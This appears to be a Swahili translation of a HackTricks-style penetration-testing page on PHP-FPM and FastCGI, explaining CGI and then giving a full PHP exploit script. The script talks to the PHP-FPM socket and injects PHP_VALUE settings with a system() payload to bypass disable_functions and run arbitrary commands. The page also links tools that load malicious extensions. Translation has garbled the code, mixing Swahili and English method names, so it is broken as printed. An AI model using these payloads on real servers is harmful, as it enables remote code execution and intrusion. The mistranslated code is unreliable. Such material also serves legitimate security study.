PHP-FPM inajulikana kama mbadala bora kwa PHP FastCGI ya kawaida, ikitoa huduma ambazo ni hasa zenye manufaa kwa tovuti zenye trafiki kubwa. Inafanya kazi kupitia mchakato wa msingi unaosimamia mkusanyiko wa michakato ya wafanyikazi. Kwa ombi la skripti ya PHP, ni mtandao wa wavuti unaanza uunganisho wa proksi wa FastCGI kwa huduma ya PHP-FPM. Huduma hii ina uwezo wa kupokea maombi kupitia bandari za mtandao kwenye seva au soketi za Unix.
Licha ya jukumu la kati la uhusiano wa proksi, PHP-FPM inahitaji kuwa inafanya kazi kwenye mashine ile ile kama seva ya wavuti. Uhusiano inayotumia, ingawa ni msingi wa proksi, inatofautiana na uhusiano wa proksi wa kawaida. Baada ya kupokea ombi, mfanyikazi anayepatikana kutoka PHP-FPM anaprocessi—kutekeleza skripti ya PHP na kisha kupeleka matokeo kurudi kwa seva ya wavuti. Baada ya mfanyikazi kumaliza kusindika ombi, inakuwa inapatikana tena kwa maombi yanayokuja.
Lakini CGI na FastCGI ni nini?
CGI
Kawaida kurasa za wavuti, faili na nyaraka zote ambazo zinahamishwa kutoka kwenye seva ya wavuti kwenda kwa kivinjari zimehifadhiwa kwenye saraka maalum ya umma kama vile home/user/public_html. Wakati kivinjari kinapoomba yaliyomo fulani, seva inachunguza saraka hii na kutuma faili inayohitajika kwa kivinjari.
Ikiwa CGI imefungwa kwenye seva, saraka maalum ya cgi-bin pia inaongezwa hapo, kwa mfano home/user/public_html/cgi-bin. Skripti za CGI zimehifadhiwa kwenye saraka hii. Kila faili kwenye saraka inachukuliwa kama programu inayoweza kutekelezwa. Wakati wa kufikia skripti kutoka kwenye saraka, seva inatuma ombi kwa programu, inayohusika na skripti hiyo, badala ya kutuma yaliyomo ya faili kwa kivinjari. Baada ya usindikaji wa data ya kuingia kukamilika, programu inatuma data ya matokeo kwa seva ya wavuti ambayo inapeleka data kwa mteja wa HTTP.
Kwa mfano, wakati skripti ya CGI http://mysitename.com/cgi-bin/file.pl inafikiwa, seva itatekeleza programu sahihi ya Perl kupitia CGI. Data iliyozalishwa kutokana na utekelezaji wa skripti itatumwa na programu kwa seva ya wavuti. Seva, kwa upande mwingine, itapeleka data kwa kivinjari. Ikiwa seva isingekuwa na CGI, kivinjari kingeonyesha msimbo wa faili ya .pl yenyewe. (maelezo kutoka hapa)
FastCGI
FastCGI ni teknolojia mpya ya wavuti, toleo lililoboreshwa la CGI kama kazi kuu inabaki ile ile.
Hitaji la kukuza FastCGI ni kwamba Wavuti ilianzishwa na maendeleo ya haraka ya maombi na utata, pamoja na kushughulikia mapungufu ya ukuaji wa teknolojia ya CGI. Kukidhi mahitaji hayo Open Market iliwasilisha FastCGI – toleo lenye utendaji wa hali ya juu wa teknolojia ya CGI yenye uwezo ulioboreshwa.
disable_functions bypass
Inawezekana kukimbia nambari ya PHP ikidanganya FastCGI na kuepuka vikwazo vya disable_functions.
Kupitia Gopherus
Sina uhakika ikiwa hii inafanya kazi kwenye toleo za kisasa kwa sababu nilijaribu mara moja na haikutekeleza chochote. Tafadhali, ikiwa una habari zaidi kuhusu hii niwasiliane kupitia [kikundi cha telegram cha PEASS & HackTricks hapa](https://t.me/peass), au twitter [@carlospolopm](https://twitter.com/hacktricks_live).
Kwa kutumia Gopherus unaweza kuzalisha mzigo wa kutuma kwa msikilizaji wa FastCGI na kutekeleza amri za kiholela:
Sijui kama hii inafanya kazi katika toleo za kisasa kwa sababu nilijaribu mara moja na sikufanikiwa kutekeleza chochote. Kwa kweli nilifanikiwa kuona phpinfo() kutoka kwa utekelezaji wa FastCGI ulionyesha kuwa disable_functions ilikuwa tupu, lakini PHP (kwa njia fulani) bado ilinizuia kutekeleza kazi yoyote iliyozuiliwa hapo awali. Tafadhali, ikiwa una habari zaidi kuhusu hii niwasiliane kupitia [kikundi cha telegram cha PEASS & HackTricks hapa](https://t.me/peass), au twitter [@carlospolopm](https://twitter.com/hacktricks_live).
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content```php* @returnString*/publicfunctionombi(array $params, $stdin){$response ='';$this->unganisha();$ombi = $this->jengaPakiti(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$ombiParams ='';foreach ($params as $key => $value) {$ombiParams .=$this->jengaNvpair($key, $value);}if ($ombiParams) {$ombi .=$this->jengaPakiti(self::PARAMS, $ombiParams);}$ombi .=$this->jengaPakiti(self::PARAMS,'');if ($stdin) {$ombi .=$this->jengaPakiti(self::STDIN, $stdin);}$ombi .=$this->jengaPakiti(self::STDIN,'');fwrite($this->_sock, $ombi);do {$jibu =$this->somaPakiti();if ($jibu['type'] ==self::STDOUT || $jibu['type'] ==self::STDERR) {$response .= $jibu['content'];}} while ($jibu && $jibu['type'] !=self::END_REQUEST);var_dump($jibu);if (!is_array($jibu)) {thrownewException('Ombi mbaya');}switch (ord($jibu['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('Programu hii haiwezi kumultiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('Ombi jipya limekataliwa; shughuli nyingi [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Thamani ya jukumu haifahamiki [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// mwanzo wa kutumia udhaifu hapaif (!isset($_REQUEST['cmd'])) {die("Angalia matokeo yako\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$ombi ='/'.basename($filepath);$uri = $ombi .'?'.'amri='.$_REQUEST['cmd'];$mteja =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // mzigo wa php -- Hufanyi chochote$php_value ="disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $ombi,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $ombi,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Piga simu: $uri\n\n";echo $mteja->ombi($params, $code)."\n";?>
Kwa kutumia kazi iliyopita utaona kuwa kazi system bado imelemazwa lakini phpinfo() inaonyesha disable_functionsimebaki tupu:
Kwa hivyo, nadhani unaweza kuweka disable_functions tu kupitia faili za usanidi za php .ini na PHP_VALUE haitapindua mipangilio hiyo.
Hii ni skripti ya php kutumia itifaki ya fastcgi kudanganya open_basedir na disable_functions.
Itakusaidia kudanganya disable_functions kali kufikia RCE kwa kupakia ugani mbaya.
Unaweza kuipata hapa: https://github.com/w181496/FuckFastcgi au toleo lililobadilishwa kidogo na kuboreshwa hapa: https://github.com/BorelEnzo/FuckFastcgi
Utakuta kuwa udanganyifu huo ni sawa sana na msimbo uliopita, lakini badala ya kjaribu kudanganya disable_functions kwa kutumia PHP_VALUE, inajaribu kupakia moduli ya PHP ya nje kutekeleza msimbo kwa kutumia vigezo extension_dir na extension ndani ya kipengele PHP_ADMIN_VALUE.
TAARIFA1: Labda utahitaji kurekebisha ugani huo na toleo sawa la PHP ambalo seva inatumia (unaweza kuangalia ndani ya matokeo ya phpinfo):
TAARIFA2: Nilifanikiwa kufanya hii kazi kwa kuingiza thamani za extension_dir na extension ndani ya faili ya usanidi ya PHP .ini (kitu ambacho hautaweza kufanya ukishambulia seva). Lakini kwa sababu fulani, wakati wa kutumia udanganyifu huu na kupakia ugani kutoka kwa kipengele cha PHP_ADMIN_VALUE, mchakato ulikufa tu, kwa hivyo sijui ikiwa mbinu hii bado ni halali.
PHP-FPM Kosa la Utekelezaji wa Kanuni Kijijini (CVE-2019–11043)